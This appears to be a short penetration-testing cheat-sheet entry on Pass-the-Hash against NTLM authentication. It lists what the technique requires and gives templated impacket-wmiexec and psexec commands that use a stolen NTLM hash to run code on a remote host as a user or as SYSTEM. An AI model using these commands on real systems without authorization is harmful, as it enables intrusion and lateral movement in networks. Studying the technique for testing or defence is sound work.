Note
That this will only work for servers or services using NTLM authentication, not for servers or services using Kerberos authentication.
What does it do ? Basically in this we use user’s NTLM hash instead of their clear text password to authenticate to services or system which supports NTLM authentication.
Requirements :
- Local administrator level access - hash of user
- ADMIN$ share
- File and printer sharing on
Note that PtH uses the NTLM hash legitimately. However, the vulnerability lies in the fact that we gained unauthorized access to the password hash of a local administrator.
Attack
- Get code execution on remote host as that user
impacket-wmiexec -hashes {{NTLM-Hash}} {{username}}@{{Target-IP}}
Get code execution on remote host as system NT authority
psexec -hashes {{NTLM-Hash}} {{User}}@{{Target-IP}}